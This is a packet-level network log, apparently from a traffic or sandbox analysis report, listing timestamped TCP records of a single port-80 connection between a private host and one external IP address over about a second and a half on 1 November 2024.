Nov 1, 2024 05:01:18.742522001 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.742549896 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.742613077 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.742619991 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.742645025 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.742702007 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.781970024 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.782011986 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.782057047 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.782121897 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.782175064 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.782190084 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.782206059 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.782226086 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.782274961 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.782408953 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.782838106 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.782917976 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.782933950 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.782972097 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.783004999 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.817253113 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.817269087 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.817277908 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.817361116 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.817400932 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.817459106 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.861871004 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.861900091 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.861928940 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.861943007 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.861982107 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.862047911 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.901307106 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.901369095 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.901385069 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.901443005 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.901540041 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.901556969 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.901599884 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.901693106 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.901747942 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.901784897 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.901802063 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.901843071 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.902009010 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.902024984 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.902076960 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.936887980 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.936918020 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.936934948 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.937025070 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.981312037 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.981506109 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.981549978 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.981595993 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.981663942 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.020514011 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.020561934 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.020576000 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.020620108 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.020634890 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.020649910 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.020724058 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.020756960 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.021065950 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.021142006 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.021234989 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.021251917 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.021301031 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.021353006 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.021404028 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.021718025 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.021770954 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.024602890 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.055841923 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.055882931 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.055901051 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.055944920 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.099191904 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.100625992 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.100677013 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.100693941 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.100759983 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.139839888 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.139879942 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.139893055 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.139925003 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.139941931 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.140074968 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.140088081 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.140117884 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.140229940 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.140242100 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.140270948 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.140818119 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.140857935 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.140872955 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.140882969 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.140940905 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.175101995 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.175156116 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.175169945 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.175263882 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.220046043 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.220099926 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.220112085 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.220149040 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.220149994 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.220184088 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.220235109 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.220246077 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.220284939 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.258985043 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.259037018 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.259048939 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.259111881 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.259157896 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.259247065 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.259258986 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.259294987 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.259553909 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.259597063 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.259629965 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.259643078 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.259680986 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.259830952 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.259843111 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.259874105 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.294312000 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.294327021 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.294338942 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.294374943 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.294389963 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.294456005 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.339293003 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.339308023 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.339324951 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.339370012 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.339422941 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.339457035 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.339471102 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.339643002 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.339689016 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.339737892 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.378335953 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.378350973 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.378362894 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.378422976 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.378454924 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.378494978 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.378505945 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.378551960 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.378631115 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.378647089 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.378676891 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.379242897 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.379306078 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.379323959 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.379347086 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.379376888 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.379427910 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.413582087 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.413600922 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.413644075 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.413650036 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.413690090 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.413702011 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.458511114 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.458542109 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.458542109 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.458554983 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.458594084 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.458599091 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.458748102 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.458765984 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.458802938 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.458858967 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.458945036 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.458986044 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.459039927 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.497668982 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.497718096 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.497729063 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.497826099 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.497828007 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.497879028 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.497950077 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.497961998 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.498006105 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.498091936 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.498105049 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.498152971 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.499430895 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.499475956 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.499485970 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.499528885 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.499588966 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.499599934 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.499608994 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.499630928 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.499658108 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.532922983 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.532934904 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.532975912 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.533015966 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.533026934 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.533075094 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.577884912 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.577920914 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.577934027 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.577972889 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.577971935 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.578016996 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.578082085 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.578094006 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.578130007 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.616863966 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.616883993 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.616935015 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.616938114 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.616985083 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.617022991 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.617152929 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.617170095 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.617265940 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.617336035 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.617427111 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.617439032 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.617466927 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.617559910 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.617599010 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.617964029 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.618035078 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.618046045 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.618078947 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.618329048 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.618391037 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.618402004 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.618432045 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.618457079 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.652246952 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.652317047 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.652329922 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.652378082 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.652455091 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.652493954 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.697236061 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.697278976 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.697292089 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.697319031 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.697396040 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.697442055 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.697503090 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.697514057 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.697547913 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.736644030 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.736695051 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.736706972 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.736752033 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.736882925 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.736896038 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.736918926 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.737010956 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.737066984 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.737152100 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.737164021 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.737210989 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.737360954 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.737371922 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.737382889 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.737412930 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.737675905 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.737718105 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.737726927 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.771641016 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.771684885 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.771697044 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.771718025 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.771758080 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.771816015 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.816484928 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.816510916 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.816521883 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.816564083 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.816612959 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.816677094 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.816700935 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.816731930 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.855870008 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.855899096 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.855911016 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.855926991 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.855956078 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.856020927 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.856033087 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.856065035 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.856218100 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.856230021 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.856240988 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.856290102 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.856791019 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.856838942 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.856847048 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.856859922 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.856890917 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.857021093 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.857032061 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.857084036 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.890932083 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.891011000 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.891022921 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:19.891060114 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:19.942915916 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:20.133644104 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.133694887 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.133714914 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.133739948 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.133754015 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.133764982 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:20.133769989 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.133800030 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:20.133816004 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:20.133878946 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.133893967 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.133917093 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.133934021 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.133934021 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:20.133953094 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.133982897 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:20.134243011 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.134263039 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.134279013 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.134300947 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.134308100 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:20.134308100 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:20.134319067 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.134337902 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:20.134365082 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:20.134388924 CET	49715	80	192.168.2.5	185.215.113.16
